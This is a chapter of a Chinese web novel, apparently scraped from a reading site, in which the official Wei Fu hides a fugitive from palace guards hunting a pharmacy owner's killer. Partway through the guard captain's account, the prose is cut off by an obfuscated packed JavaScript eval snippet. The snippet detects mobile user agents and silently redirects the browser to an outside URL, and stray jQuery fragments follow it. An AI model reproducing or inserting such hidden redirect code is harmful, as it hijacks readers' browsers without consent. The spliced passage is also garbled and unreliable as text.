默认冷灰
24号文字
方正启体

5. 第 5 章

作者:苍梧宾白本书字数:K更新时间:
    手掌下的心脏跳动得很急,咚咚地撞着他的脉搏,那剧烈的节奏不会骗人,这位人质远没有他表现出来的那么镇定。


    从天而降的陌生人没应声,在心中飞速盘算逃跑的方法。前院老仆颤巍巍地应声赶去开门,后院的两人能清晰地听见官兵问话:“皇城卫办案,你家主人是谁?家中有几口人?刚才可看见什么可疑人影进来了吗?”


    老仆忙回道:“官爷,我家主人官拜西台舍人,是镇国公府卫氏二公子,今天正在家中休沐。这半日来门户紧闭,并没有人来拜访,家里的仆役也不曾出去走动。”


    那皇城卫大概没想到这么一户偏僻小院里居然还住了个人物,愣了一下才问:“可是卫拂卫大人?”


    老仆道:“正是。”


    皇城卫的调门和态度立刻缓和下来:“我们追缉犯人至此,不知他潜入了谁家,正在挨户搜寻,还请卫大人出面一见,容我等例行查问。”


    黑衣青年支着耳朵听外面的动静,顺便上下打量他一番,显然也没想到自己随手一抓竟是条大鱼,那眼神仿佛在逛菜市场,正琢磨着应该是把他清炖还是红烧。


    卫拂毫无人质的自觉,悄声跟他嘀咕:“完了,本来我还可以说你是我的朋友,他一句话把路给堵死了,现在外面全是皇城卫,怎么办?先说好,要是被他们看见你从我家翻出去,我可是会受牵连的。”


    他俩离得太近,卫拂几乎是贴着他耳朵说话,清凉苦涩的气息微微吹拂过鬓边,并不令人讨厌,但他很不习惯,下意识往后一仰,拉开了一点距离。


    “我还可以劫持你,卫公子。”黑衣青年压低声音威胁,“如果我抓走你当人质、逼迫他们放我离开呢?”


    “嗯,这要看你犯的是什么案子。”卫拂居然认真考虑了半天,然后没心没肺地说,“大案肯定是没用的,区区在下怎么比得过朝廷钦犯,但如果是太小的案子也不行,你要是为了三根萝卜两头蒜挟持我,说出去我很没有面子啊。”


    黑衣青年古怪地瞥了他一眼,卫拂敏锐地问:“怎么了?”


    怎么有人明明心都要从嗓子眼跳出来了还要强自镇定云淡风轻地开玩笑,你们夕陵当官的都这么会装相吗?


    “没什么。”他俩东拉西扯的间隙,脚步声愈发逼近后院,黑衣青年轻轻啧了一声,“那卫公子有什么高见?”


    “先躲起来吧,现在跑也来不及了。”卫拂用眼神示意室内敞开的书柜,“我去前面应付皇城卫。”


    没时间权衡去留了,黑衣青年转腕收回架在他脖子上的匕首,单手撑着窗台轻盈地落进室内。卫拂过去帮他关好柜门,顺手整理好压皱的领口和前襟,先一步推开书房正面,故作疑惑:“外面何故喧哗,出什么事了?”


    老仆卫荣赶紧凑到身边向他低声解释,庭院不大,三句话的工夫卫拂已经到了前院。领头的皇城卫见一个玉树般颀长的俊雅公子徐徐行来,便知是此间主人,忙主动趋向前来和他见礼:“下官皇城卫校尉陈文端,正在缉拿一名要犯,无意惊扰卫大人,多有冒犯,还望大人海涵。”


    卫拂笑道:“哪里的话,皇城卫巡防城内、警备盗贼,这是陈校尉职责所在,说什么冒犯不冒犯的。这所宅子是二十年前家父家母亲手置办下的,他们二位出门远游,叫我没事过来替他看房子。诸位若要入内搜检请便,只是家里东西老旧,还望手下轻些。”


    他愿意赏脸配合,这点小要求陈端文自然满口答应,叫手下行动放仔细些,心里却暗松了一口气。


    虽然卫拂只比他官高一阶,实际上二人的身份可谓是天壤之别,一个家世显赫,进宫比回家还频繁,一个军户出身,陛下眼里根本没有这号人。陈端文除非是嫌仕途太顺,否则万万不会想不开去得罪他。


    其实卫家正经的大公子是将来要袭爵的长孙卫修,但在风都,只要提起“镇国公卫氏的公子”,大家第一个想到的往往是二公子卫拂。


    这位卫公子算是个传奇人物,他的父亲卫怀钧是镇国公卫颖第二子,从小就立下了过人志向——要做个快意恩仇、仗剑纵马的大侠。


    镇国公府是簪缨世族,出过文官武将、皇后妃嫔,甚至出过出家人,唯独没出过败家子。国公爷惊闻此等噩耗,气得要抄家伙打断这不孝子的腿,而卫怀钧很委屈,他觉得“大侠”是个体面正经的行当,跟“败家子”完全是两回事,家里人并不了解他的志向,他跟国公爷说不明白,于是干脆趁夜卷包袱离家出走,留下一封书信,声称要远赴东郁,去武林名门灵华宗拜师学艺。


    卫颖拿他无可奈何,只好当没有生过这个儿子。谁料数年后卫怀钧忽然不声不响地回到了风都,那时他身边已经有了妻儿——妻子是个十分美丽但来路不明的江湖人,儿子则是个不会说话的小哑巴。


    卫氏夫妇带着这个孩子在风都居住了一段时间,不知道为什么最终又将这孩子送回了镇国公府,两人则再次远走高飞,不见踪迹。


    这么多年来二人行踪成谜,到底在做些什么,连镇国公府也没个明白说法。倒是那孩子生得聪明灵秀,容貌才识无一不美,还有过目不忘之能,除了口不能言外挑不出别的毛病。卫颖觉得卫拂比他那活驴似的爹要通人性得多,好好地将这孩子教养长大,不指望他能有什么成就,靠着镇国公的家业,就算是个哑巴也能做一辈子的富贵闲人。


    没成想到卫拂十五岁时,他不知道受了什么刺激,突然就能开口说话了,练习了几个月,很快便与常人无异。这令人惋惜的残缺品稍经琢磨,竟然剥脱瑕疵、变成了完美无缺的温润公子。


    然而这些还不算是他传奇人生的全部篇幅,先皇晋元帝在位时期,宫中疫病流行,婴儿接连夭折。晋元帝无奈之下将几个小皇子送往亲信大臣家抚养,四皇子牧衡被分给了镇国公府。卫拂恰与四皇子同龄,两人自然而然成了要好的玩伴,此后情谊日笃,卫拂极得牧衡信重。


    三年前牧衡继位大统,登基后立刻将窝在兰台修书的卫拂迁入中枢,拜为西台舍人,掌起草诏令、接纳文表、出宣劳问。舍人官阶五品,是天子身边极为清贵显要之职,往小了说是随侍御前,直达天听;往大了说那就是参决大政、总理机务,拿他当未来的宰相培养。


    比起一帆风顺的人生,跌宕起伏又带点玄乎的经历总是更令人津津乐道。陈端文久闻他的大名,第一次正面接触,还有点好奇,陪站在旁边时不动声色地偷眼看他。卫拂没察觉到,佯装不经意问道:“什么大案竟然惊动了你们皇城卫?这样满城搜捕,难不成是悍匪巨盗?”


    “倒也不算大案,只是碰巧撞上了。”陈端文道,“下官方才带队巡街时,忽然听见同世药堂里有人呼救,过去一看,发现药堂掌柜许世福背后中刀倒在地上,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16763703|190164||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    已气绝身亡。”


    “你们刚好在现场抓到了凶手?”


    “呃……也不一定就是凶手。”陈端文搔搔头,有点底气不足,“下官带人到药堂中查看死者情况,有个手下忽然闹肚子,要借他家方便。谁知刚走到后院就撞见个可疑人影,他叫嚷起来,那人见势不妙便翻墙逃跑了,我们一路追赶,到这条巷子时不见了踪影,这才挨家挨户进门搜寻。那人就算不是凶手,也绝不清白……是下官哪里说错了吗?”


    “啊,没事,”卫拂收敛了过于明显的表情,微微笑道,“我只是觉得那笨贼太倒霉了。”


    陈端文觉得他莫名其妙,但是又不好在面上露出来,只得干笑两声。好在片刻后几个皇城卫搜查完回到前院,都称没发现异常,唯独一个刚入队不久的新人直眉楞眼地说:“属下方才在后院地上找到几片碎瓦,屋顶上缺了一块,请教大人,可曾看见是怎么掉下来的?”


    卫拂闻言没作声,先含笑瞥了陈端文一眼,看得他汗毛倒竖三尺,只想撸袖子冲上去抡飞这个没眼色的愣头青。


    “这……卫大人……”


    卫拂摆手示意无事,温声答道:“附近街巷里常有野猫出没,瓦片是房顶上的野猫一脚踩滑的。我家这宅子一直空着,屋顶好些年没翻修过,风吹日晒的,难免有些朽坏松动的地方,让诸位见笑了。”


    一位要风得风要雨得雨的朝廷命官,无论如何犯不着窝藏一个八竿子打不着的嫌犯。那皇城卫默默行了一礼,站回队中,陈端文受够了提心吊胆的问话,只想赶紧结束这倒霉差事,见众人都没话说,朝卫拂一拱手:“卫大人,今日多有打扰,还望恕罪。下官先告辞了。”


    “陈校尉言重了。”卫拂欠身还礼,转头吩咐道,“卫叔,替我送送陈校尉。”


    卫荣趋上前来引皇城卫出门,卫拂信步走回后院书房,见屋里陈设还算整齐,家具都在原位,随手关上门,扬声朝紧闭的书柜道:“皇城卫已经走了,出来吧。”


    屋中一片寂静,柜门静静关着,无人应声。


    卫拂忽地一怔,旋即快步走过去拉开书柜,只见里面空空荡荡,哪还有人在。


    他茫然地松开手,左顾右盼,在原地转了一圈,像个丢了尾巴的小狗,终于反应过来人已经走了,有点丧气地盯着柜子里浅浅的灰尘,总是上翘含笑的嘴角无意识地抿了起来。


    都知道他是从命案现场逃跑的了,还这么没有警惕心吗?


    黑衣青年从房梁阴影里一跃而下,无声无息地落在他背后,伸手轻轻一拍肩头。


    骤然受惊的卫拂猛一扭头,黑衣青年从容后仰,轻松避开飞起的长发,很愉快地欣赏他三魂七魄原地升天的惊恐表情:“谁一脚踩滑了?”


    卫拂:“……”


    “你这人真是……我真是……”他捂着狂跳不止的心脏深吸气,黑衣青年不慌不忙比了个噤声的手势:“嘘,当心再把人喊回来。”


    卫拂险些被他玩死,按着胸口缓了半天,心脏才逐渐从嗓子眼落回胸腔,长吁了口气,低声抱怨:“我就应该大喊快来人,让皇城卫把你抓走。”


    “所以为什么没有?”


    黑衣青年没有错过他刚才回头那一刹那,惊愕和惊喜同时在他眼里放烟花,漂亮得足以落进画里。他逼近一步,玩味地问:“你认识我,我们以前曾经见过吗?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)